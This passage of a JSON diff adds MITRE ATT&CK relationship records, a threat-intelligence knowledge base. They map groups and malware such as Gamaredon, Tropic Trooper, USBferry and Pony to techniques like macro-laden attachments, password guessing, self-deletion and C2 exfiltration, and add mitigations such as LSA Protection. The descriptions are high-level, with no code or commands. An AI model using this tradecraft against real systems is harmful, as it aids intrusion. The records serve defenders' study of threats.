in Campaigns. Retrieved May 19, 2020.", + "source_name": "TrendMicro Gamaredon April 2020" + }, + { + "url": "https://www.welivesecurity.com/2020/06/11/gamaredon-group-grows-its-game/", + "description": "Boutin, J. (2020, June 11). Gamaredon group grows its game. Retrieved June 16, 2020.", + "source_name": "ESET Gamaredon June 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--86bcc5c3-456e-4bac-a419-54f54af80325", + "description": "[Gamaredon Group](https://attack.mitre.org/groups/G0047) tools decrypted additional payloads from the C2. [Gamaredon Group](https://attack.mitre.org/groups/G0047) has also decoded base64-encoded source code of a downloader.(Citation: TrendMicro Gamaredon April 2020)(Citation: ESET Gamaredon June 2020)", + "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c", + "modified": "2020-08-31T15:06:48.443Z", + "source_ref": "intrusion-set--2e290bfe-93b5-48ce-97d6-edcd6d32b7cf", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-05-19T20:39:12.455Z", + "external_references": [ + { + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/gamaredon-apt-group-use-covid-19-lure-in-campaigns/", + "description": "Kakara, H., Maruyama, E. (2020, April 17). Gamaredon APT Group Use Covid-19 Lure in Campaigns. Retrieved May 19, 2020.", + "source_name": "TrendMicro Gamaredon April 2020" + }, + { + "url": "https://www.welivesecurity.com/2020/06/11/gamaredon-group-grows-its-game/", + "description": "Boutin, J. (2020, June 11). Gamaredon group grows its game. Retrieved June 16, 2020.", + "source_name": "ESET Gamaredon June 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--3a6022ea-7647-4d61-8103-dd354d8dfd4d", + "description": "[Gamaredon Group](https://attack.mitre.org/groups/G0047) has embedded malicious macros in document templates, which executed VBScript. [Gamaredon Group](https://attack.mitre.org/groups/G0047) has also delivered Microsoft Outlook VBA projects with embedded macros.(Citation: TrendMicro Gamaredon April 2020)(Citation: ESET Gamaredon June 2020)", + "target_ref": "attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67", + "modified": "2020-06-22T18:23:55.089Z", + "source_ref": "intrusion-set--2e290bfe-93b5-48ce-97d6-edcd6d32b7cf", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-05-19T20:39:12.457Z", + "external_references": [ + { + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/gamaredon-apt-group-use-covid-19-lure-in-campaigns/", + "description": "Kakara, H., Maruyama, E. (2020, April 17). Gamaredon APT Group Use Covid-19 Lure in Campaigns. Retrieved May 19, 2020.", + "source_name": "TrendMicro Gamaredon April 2020" + }, + { + "url": "https://www.welivesecurity.com/2020/06/11/gamaredon-group-grows-its-game/", + "description": "Boutin, J. (2020, June 11). Gamaredon group grows its game. Retrieved June 16, 2020.", + "source_name": "ESET Gamaredon June 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--7cabf1a6-5ad3-4c5d-83e8-161d49e082ac", + "description": "[Gamaredon Group](https://attack.mitre.org/groups/G0047) has used DOCX files to download malicious DOT document templates. [Gamaredon Group](https://attack.mitre.org/groups/G0047) can also inject malicious macros or remote templates into documents already present on compromised systems.(Citation: TrendMicro Gamaredon April 2020)(Citation: ESET Gamaredon June 2020)", + "target_ref": "attack-pattern--dc31fe1e-d722-49da-8f5f-92c7b5aff534", + "modified": "2020-06-22T17:55:32.125Z", + "source_ref": "intrusion-set--2e290bfe-93b5-48ce-97d6-edcd6d32b7cf", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-05-19T20:39:12.459Z", + "external_references": [ + { + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/gamaredon-apt-group-use-covid-19-lure-in-campaigns/", + "description": "Kakara, H., Maruyama, E. (2020, April 17). Gamaredon APT Group Use Covid-19 Lure in Campaigns. Retrieved May 19, 2020.", + "source_name": "TrendMicro Gamaredon April 2020" + }, + { + "url": "https://www.welivesecurity.com/2020/06/11/gamaredon-group-grows-its-game/", + "description": "Boutin, J. (2020, June 11). Gamaredon group grows its game. Retrieved June 16, 2020.", + "source_name": "ESET Gamaredon June 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--e84791af-7bdb-4fe9-8e03-7a10a154c9a4", + "description": "[Gamaredon Group](https://attack.mitre.org/groups/G0047) has attempted to get users to click on Office attachments with malicious macros embedded.(Citation: TrendMicro Gamaredon April 2020)(Citation: ESET Gamaredon June 2020)", + "target_ref": "attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e", + "modified": "2020-06-22T18:13:02.157Z", + "source_ref": "intrusion-set--2e290bfe-93b5-48ce-97d6-edcd6d32b7cf", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-05-19T20:39:12.495Z", + "external_references": [ + { + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/gamaredon-apt-group-use-covid-19-lure-in-campaigns/", + "description": "Kakara, H., Maruyama, E. (2020, April 17). Gamaredon APT Group Use Covid-19 Lure in Campaigns. Retrieved May 19, 2020.", + "source_name": "TrendMicro Gamaredon April 2020" + }, + { + "url": "https://www.welivesecurity.com/2020/06/11/gamaredon-group-grows-its-game/", + "description": "Boutin, J. (2020, June 11). Gamaredon group grows its game. Retrieved June 16, 2020.", + "source_name": "ESET Gamaredon June 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--35624bc2-caf0-4124-88e8-6f60ae52ed9c", + "description": "[Gamaredon Group](https://attack.mitre.org/groups/G0047) has delivered spearphishing emails with malicious attachments to targets.(Citation: TrendMicro Gamaredon April 2020)(Citation: ESET Gamaredon June 2020)", + "target_ref": "attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597", + "modified": "2020-06-22T17:55:32.138Z", + "source_ref": "intrusion-set--2e290bfe-93b5-48ce-97d6-edcd6d32b7cf", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-05-19T20:39:12.502Z", + "external_references": [ + { + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/gamaredon-apt-group-use-covid-19-lure-in-campaigns/", + "description": "Kakara, H., Maruyama, E. (2020, April 17). Gamaredon APT Group Use Covid-19 Lure in Campaigns. Retrieved May 19, 2020.", + "source_name": "TrendMicro Gamaredon April 2020" + }, + { + "url": "https://www.welivesecurity.com/2020/06/11/gamaredon-group-grows-its-game/", + "description": "Boutin, J. (2020, June 11). Gamaredon group grows its game. Retrieved June 16, 2020.", + "source_name": "ESET Gamaredon June 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--e3540915-e2f8-4f99-8f81-57a566e9d115", + "description": "[LoudMiner](https://attack.mitre.org/software/S0451) used an MSI installer to install the virtualization software.(Citation: ESET LoudMiner June 2019)\t", + "target_ref": "attack-pattern--365be77f-fc0e-42ee-bac8-4faf806d9336", + "modified": "2020-06-23T00:48:35.422Z", + "source_ref": "malware--f99f3dcc-683f-4936-8791-075ac5e58f10", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-05-19T21:26:54.333Z", + "external_references": [ + { + "url": "https://www.welivesecurity.com/2019/06/20/loudminer-mining-cracked-vst-software/", + "description": "Malik, M. (2019, June 20). LoudMiner: Cross-platform mining in cracked VST software. Retrieved May 18, 2020.", + "source_name": "ESET LoudMiner June 2019" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--870c08fa-6112-4d08-9b84-59df09f27b4d", + "description": "[LoudMiner](https://attack.mitre.org/software/S0451) is typically bundled with pirated copies of Virtual Studio Technology (VST) for Windows and macOS.(Citation: ESET LoudMiner June 2019)", + "target_ref": "attack-pattern--d742a578-d70e-4d0e-96a6-02a9c30204e6", + "modified": "2020-06-23T00:48:35.425Z", + "source_ref": "malware--f99f3dcc-683f-4936-8791-075ac5e58f10", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-05-19T21:26:54.399Z", + "external_references": [ + { + "url": "https://www.welivesecurity.com/2019/06/20/loudminer-mining-cracked-vst-software/", + "description": "Malik, M. (2019, June 20). LoudMiner: Cross-platform mining in cracked VST software. Retrieved May 18, 2020.", + "source_name": "ESET LoudMiner June 2019" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--e8948840-b0a0-4c10-87f4-022720dc8dd9", + "description": "(Citation: Unit42 SilverTerrier 2018)", + "target_ref": "malware--cb741463-f0fe-42e0-8d45-bc7e8335f5ae", + "modified": "2020-05-19T23:26:11.987Z", + "source_ref": "intrusion-set--76565741-3452-4069-ab08-80c0ea95bbeb", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-05-19T23:26:11.987Z", + "external_references": [ + { + "source_name": "Unit42 SilverTerrier 2018", + "description": "Unit42. (2016). SILVERTERRIER: THE RISE OF NIGERIAN BUSINESS EMAIL COMPROMISE. Retrieved November 13, 2018.", + "url": "https://www.paloaltonetworks.com/apps/pan/public/downloadResource?pagePath=/content/pan/en_US/resources/whitepapers/unit42-silverterrier-rise-of-nigerian-business-email-compromise" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--b957c285-b036-455d-a14f-8705838fd874", + "description": "Limit the use of USB devices and removable media within a network.", + "target_ref": "attack-pattern--e6415f09-df0e-48de-9aba-928c902b7549", + "modified": "2021-10-15T22:47:01.056Z", + "source_ref": "course-of-action--2995bc22-2851-4345-ad19-4e7e295be264", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-05-20T12:49:50.051Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--b2b112f8-27ed-449c-a9e1-e984139ee9f2", + "description": "Limit the use of USB devices and removable media within a network.", + "target_ref": "attack-pattern--a3e1e6c5-9c74-4fc0-a16c-a9d228c17829", + "modified": "2021-10-15T22:48:29.689Z", + "source_ref": "course-of-action--2995bc22-2851-4345-ad19-4e7e295be264", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-05-20T12:49:50.060Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--26bc4aac-e7db-426f-af9f-b85fa60df277", + "description": "On Windows 8.1 and Server 2012 R2, enable LSA Protection by setting the Registry key HKEY_LOCAL_MACHINE\\\\SYSTEM\\\\CurrentControlSet\\\\Control\\\\Lsa\\\\RunAsPPL to dword:00000001. (Citation: Microsoft LSA Protection Mar 2014) LSA Protection ensures that LSA plug-ins and drivers are only loaded if they are digitally signed with a Microsoft signature and adhere to the Microsoft Security Development Lifecycle (SDL) process guidance. ", + "target_ref": "attack-pattern--f0589bc3-a6ae-425a-a3d5-5659bfee07f4", + "modified": "2020-05-20T13:13:48.991Z", + "source_ref": "course-of-action--72dade3e-1cba-4182-b3b3-a77ca52f02a1", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-05-20T13:13:48.991Z", + "external_references": [ + { + "source_name": "Microsoft LSA Protection Mar 2014", + "description": "Microsoft. (2014, March 12). Configuring Additional LSA Protection. Retrieved November 27, 2017.", + "url": "https://technet.microsoft.com/library/dn408187.aspx" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--af69bb4e-4cdb-4a9d-afff-5508c99c1276", + "description": "Enable Windows Group Policy \u201cDo Not Allow Anonymous Enumeration of SAM Accounts and Shares\u201d security setting to limit users who can enumerate network shares.(Citation: Windows Anonymous Enumeration of SAM Accounts)", + "target_ref": "attack-pattern--3489cfc5-640f-4bb3-a103-9137b97de79f", + "modified": "2021-10-13T18:10:57.427Z", + "source_ref": "course-of-action--2f316f6c-ae42-44fe-adf8-150989e0f6d3", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-05-20T13:33:50.879Z", + "external_references": [ + { + "url": "https://docs.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/network-access-do-not-allow-anonymous-enumeration-of-sam-accounts-and-shares", + "description": "Microsoft. (2017, April 19). Network access: Do not allow anonymous enumeration of SAM accounts and shares. Retrieved May 20, 2020.", + "source_name": "Windows Anonymous Enumeration of SAM Accounts" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--afe166b7-d849-4635-8e85-65b9d0bf11c5", + "description": "Consider disabling Windows administrative shares.", + "target_ref": "attack-pattern--4f9ca633-15c5-463c-9724-bdcd54fde541", + "modified": "2020-05-20T15:19:50.991Z", + "source_ref": "course-of-action--1dcaeb21-9348-42ea-950a-f842aaf1ae1f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-05-20T15:19:50.991Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--283ba7b1-cd3b-44e9-bfae-70023c53d446", + "description": "[Tropic Trooper](https://attack.mitre.org/groups/G0081) has lured victims into executing malware via malicious e-mail attachments.(Citation: Anomali Pirate Panda April 2020)", + "target_ref": "attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e", + "modified": "2020-05-20T18:56:59.024Z", + "source_ref": "intrusion-set--56319646-eb6e-41fc-ae53-aadfa7adb924", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-05-20T18:56:59.024Z", + "external_references": [ + { + "url": "https://www.anomali.com/blog/anomali-suspects-that-china-backed-apt-pirate-panda-may-be-seeking-access-to-vietnam-government-data-center#When:15:00:00Z", + "description": "Moore, S. et al. (2020, April 30). Anomali Suspects that China-Backed APT Pirate Panda May Be Seeking Access to Vietnam Government Data Center. Retrieved May 19, 2020.", + "source_name": "Anomali Pirate Panda April 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--32bebd4b-6bbe-4a4e-86a1-0c49fda51259", + "description": "[Tropic Trooper](https://attack.mitre.org/groups/G0081) has used HTTP in communication with the C2.(Citation: Anomali Pirate Panda April 2020)(Citation: TrendMicro Tropic Trooper May 2020)", + "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161", + "modified": "2020-05-21T16:39:27.634Z", + "source_ref": "intrusion-set--56319646-eb6e-41fc-ae53-aadfa7adb924", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-05-20T19:05:37.549Z", + "external_references": [ + { + "url": "https://www.anomali.com/blog/anomali-suspects-that-china-backed-apt-pirate-panda-may-be-seeking-access-to-vietnam-government-data-center#When:15:00:00Z", + "description": "Moore, S. et al. (2020, April 30). Anomali Suspects that China-Backed APT Pirate Panda May Be Seeking Access to Vietnam Government Data Center. Retrieved May 19, 2020.", + "source_name": "Anomali Pirate Panda April 2020" + }, + { + "url": "https://documents.trendmicro.com/assets/Tech-Brief-Tropic-Trooper-s-Back-USBferry-Attack-Targets-Air-gapped-Environments.pdf", + "description": "Chen, J.. (2020, May 12). Tropic Trooper\u2019s Back: USBferry Attack Targets Air gapped Environments. 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(2019, June 10). MuddyWater Resurfaces, Uses Multi-Stage Backdoor POWERSTATS V3 and New Post-Exploitation Tools. Retrieved May 14, 2020.", + "source_name": "TrendMicro POWERSTATS V3 June 2019" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--e35f5636-2ae8-4ab7-9851-73410e6a58d0", + "description": "[Tropic Trooper](https://attack.mitre.org/groups/G0081) has used JPG files with encrypted payloads to mask their backdoor routines and evade detection.(Citation: TrendMicro Tropic Trooper May 2020)", + "target_ref": "attack-pattern--c2e147a9-d1a8-4074-811a-d8789202d916", + "modified": "2020-05-21T16:56:20.629Z", + "source_ref": "intrusion-set--56319646-eb6e-41fc-ae53-aadfa7adb924", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-05-21T12:59:00.496Z", + "external_references": [ + { + "url": "https://documents.trendmicro.com/assets/Tech-Brief-Tropic-Trooper-s-Back-USBferry-Attack-Targets-Air-gapped-Environments.pdf", + "description": "Chen, J.. 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(2019, June 10). MuddyWater Resurfaces, Uses Multi-Stage Backdoor POWERSTATS V3 and New Post-Exploitation Tools. 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(2020, May 12). Tropic Trooper\u2019s Back: USBferry Attack Targets Air gapped Environments. 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(2020, May 12). Tropic Trooper\u2019s Back: USBferry Attack Targets Air gapped Environments. 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Retrieved May 21, 2020.", + "source_name": "NCCGroup RokRat Nov 2018" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--e6cd4568-3c15-4d1d-ab2c-c799141cf34b", + "description": "[USBferry](https://attack.mitre.org/software/S0452) can use netstat and nbtstat to detect active network connections.(Citation: TrendMicro Tropic Trooper May 2020)\t", + "target_ref": "attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475", + "modified": "2020-05-29T13:31:07.909Z", + "source_ref": "malware--75bba379-4ba1-467e-8c60-ec2b269ee984", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-05-21T17:14:56.863Z", + "external_references": [ + { + "url": "https://documents.trendmicro.com/assets/Tech-Brief-Tropic-Trooper-s-Back-USBferry-Attack-Targets-Air-gapped-Environments.pdf", + "description": "Chen, J.. (2020, May 12). Tropic Trooper\u2019s Back: USBferry Attack Targets Air gapped Environments. Retrieved May 20, 2020.", + "source_name": "TrendMicro Tropic Trooper May 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--bfad86a1-f8bb-45eb-b7b9-5919ca4ef886", + "description": "[USBferry](https://attack.mitre.org/software/S0452) can use tasklist to gather information about the process running on the infected system.(Citation: TrendMicro Tropic Trooper May 2020)\t", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "modified": "2020-05-29T13:31:07.914Z", + "source_ref": "malware--75bba379-4ba1-467e-8c60-ec2b269ee984", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-05-21T17:14:56.882Z", + "external_references": [ + { + "url": "https://documents.trendmicro.com/assets/Tech-Brief-Tropic-Trooper-s-Back-USBferry-Attack-Targets-Air-gapped-Environments.pdf", + "description": "Chen, J.. (2020, May 12). Tropic Trooper\u2019s Back: USBferry Attack Targets Air gapped Environments. Retrieved May 20, 2020.", + "source_name": "TrendMicro Tropic Trooper May 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--0bbf5be7-e1de-419e-85ee-afaa431f60be", + "description": "[USBferry](https://attack.mitre.org/software/S0452) can use net user to gather information about local accounts.(Citation: TrendMicro Tropic Trooper May 2020)\t", + "target_ref": "attack-pattern--25659dd6-ea12-45c4-97e6-381e3e4b593e", + "modified": "2020-05-29T13:31:07.950Z", + "source_ref": "malware--75bba379-4ba1-467e-8c60-ec2b269ee984", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-05-21T17:14:56.884Z", + "external_references": [ + { + "url": "https://documents.trendmicro.com/assets/Tech-Brief-Tropic-Trooper-s-Back-USBferry-Attack-Targets-Air-gapped-Environments.pdf", + "description": "Chen, J.. (2020, May 12). Tropic Trooper\u2019s Back: USBferry Attack Targets Air gapped Environments. Retrieved May 20, 2020.", + "source_name": "TrendMicro Tropic Trooper May 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--15a571d1-652c-4148-9dee-12d3b1cbff62", + "description": "[USBferry](https://attack.mitre.org/software/S0452) can use net view to gather information about remote systems.(Citation: TrendMicro Tropic Trooper May 2020)", + "target_ref": "attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735", + "modified": "2020-05-29T13:31:07.953Z", + "source_ref": "malware--75bba379-4ba1-467e-8c60-ec2b269ee984", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-05-21T17:14:56.887Z", + "external_references": [ + { + "url": "https://documents.trendmicro.com/assets/Tech-Brief-Tropic-Trooper-s-Back-USBferry-Attack-Targets-Air-gapped-Environments.pdf", + "description": "Chen, J.. (2020, May 12). Tropic Trooper\u2019s Back: USBferry Attack Targets Air gapped Environments. Retrieved May 20, 2020.", + "source_name": "TrendMicro Tropic Trooper May 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--f2810da3-1a6f-4c48-826d-929bde7f7af3", + "description": "[Pony](https://attack.mitre.org/software/S0453) has used scripts to delete itself after execution.(Citation: Malwarebytes Pony April 2016)\t", + "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c", + "modified": "2020-05-21T21:31:34.107Z", + "source_ref": "malware--222ba512-32d9-49ac-aefd-50ce981ce2ce", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-05-21T21:31:34.107Z", + "external_references": [ + { + "url": "https://blog.malwarebytes.com/threat-analysis/2015/11/no-money-but-pony-from-a-mail-to-a-trojan-horse/", + "description": "hasherezade. (2016, April 11). No money, but Pony! From a mail to a trojan horse. Retrieved May 21, 2020.", + "source_name": "Malwarebytes Pony April 2016" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--404f482d-160d-47ea-9eff-5ca7392eb5b2", + "description": "[Pony](https://attack.mitre.org/software/S0453) has used batch scripts to delete itself after execution.(Citation: Malwarebytes Pony April 2016)\t", + "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62", + "modified": "2020-05-21T21:31:34.133Z", + "source_ref": "malware--222ba512-32d9-49ac-aefd-50ce981ce2ce", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-05-21T21:31:34.133Z", + "external_references": [ + { + "url": "https://blog.malwarebytes.com/threat-analysis/2015/11/no-money-but-pony-from-a-mail-to-a-trojan-horse/", + "description": "hasherezade. (2016, April 11). No money, but Pony! From a mail to a trojan horse. Retrieved May 21, 2020.", + "source_name": "Malwarebytes Pony April 2016" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--d5ecfa68-2027-4dd5-adf0-1eb82463cfc5", + "description": "[Pony](https://attack.mitre.org/software/S0453) has used the NetUserEnum function to enumerate local accounts.(Citation: Malwarebytes Pony April 2016)\t", + "target_ref": "attack-pattern--25659dd6-ea12-45c4-97e6-381e3e4b593e", + "modified": "2020-05-21T21:31:34.148Z", + "source_ref": "malware--222ba512-32d9-49ac-aefd-50ce981ce2ce", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-05-21T21:31:34.148Z", + "external_references": [ + { + "url": "https://blog.malwarebytes.com/threat-analysis/2015/11/no-money-but-pony-from-a-mail-to-a-trojan-horse/", + "description": "hasherezade. (2016, April 11). No money, but Pony! From a mail to a trojan horse. Retrieved May 21, 2020.", + "source_name": "Malwarebytes Pony April 2016" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--dd8d683a-0c17-448f-b604-105e130f4b04", + "description": "[Pony](https://attack.mitre.org/software/S0453) has used a small dictionary of common passwords against a collected list of local accounts.(Citation: Malwarebytes Pony April 2016)\t", + "target_ref": "attack-pattern--09c4c11e-4fa1-4f8c-8dad-3cf8e69ad119", + "modified": "2020-06-15T16:51:22.108Z", + "source_ref": "malware--222ba512-32d9-49ac-aefd-50ce981ce2ce", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-05-21T21:31:34.164Z", + "external_references": [ + { + "url": "https://blog.malwarebytes.com/threat-analysis/2015/11/no-money-but-pony-from-a-mail-to-a-trojan-horse/", + "description": "hasherezade. (2016, April 11). No money, but Pony! From a mail to a trojan horse. Retrieved May 21, 2020.", + "source_name": "Malwarebytes Pony April 2016" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--3ea6e72b-3d19-4864-aebd-cc31dad7d519", + "description": "[Pony](https://attack.mitre.org/software/S0453) can download additional files onto the infected system.(Citation: Malwarebytes Pony April 2016)\t", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", + "modified": "2020-05-21T21:31:34.256Z", + "source_ref": "malware--222ba512-32d9-49ac-aefd-50ce981ce2ce", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-05-21T21:31:34.256Z", + "external_references": [ + { + "url": "https://blog.malwarebytes.com/threat-analysis/2015/11/no-money-but-pony-from-a-mail-to-a-trojan-horse/", + "description": "hasherezade. (2016, April 11). No money, but Pony! From a mail to a trojan horse. Retrieved May 21, 2020.", + "source_name": "Malwarebytes Pony April 2016" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--a6dd4567-92ac-47e3-9688-2d555c239705", + "description": "[Pony](https://attack.mitre.org/software/S0453) has sent collected information to the C2 via HTTP POST request.(Citation: Malwarebytes Pony April 2016)\t", + "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161", + "modified": "2020-05-21T21:31:34.268Z", + "source_ref": "malware--222ba512-32d9-49ac-aefd-50ce981ce2ce", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-05-21T21:31:34.268Z", + "external_references": [ + { + "url": "https://blog.malwarebytes.com/threat-analysis/2015/11/no-money-but-pony-from-a-mail-to-a-trojan-horse/", + "description": "hasherezade. (2016, April 11). No money, but Pony! From a mail to a trojan horse. Retrieved May 21, 2020.", + "source_name": "Malwarebytes Pony April 2016" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--237cd65a-e30e-4f8a-9822-f50b818e1491", + "description": "[Pony](https://attack.mitre.org/software/S0453) has used the Adobe Reader icon for the downloaded file to look more trustworthy.(Citation: Malwarebytes Pony April 2016)\t", + "target_ref": "attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2", + "modified": "2020-05-21T21:31:34.271Z", + "source_ref": "malware--222ba512-32d9-49ac-aefd-50ce981ce2ce", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-05-21T21:31:34.271Z", + "external_references": [ + { + "url": "https://blog.malwarebytes.com/threat-analysis/2015/11/no-money-but-pony-from-a-mail-to-a-trojan-horse/", + "description": "hasherezade. (2016, April 11). No money, but Pony! From a mail to a trojan horse. Retrieved May 21, 2020.", + "source_name": "Malwarebytes Pony April 2016" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--8dd83463-b0cb-46e9-a01a-b22c6780066f", + "description": "[Pony](https://attack.mitre.org/software/S0453) has collected the Service Pack, language, and region information to send to the C2.(Citation: 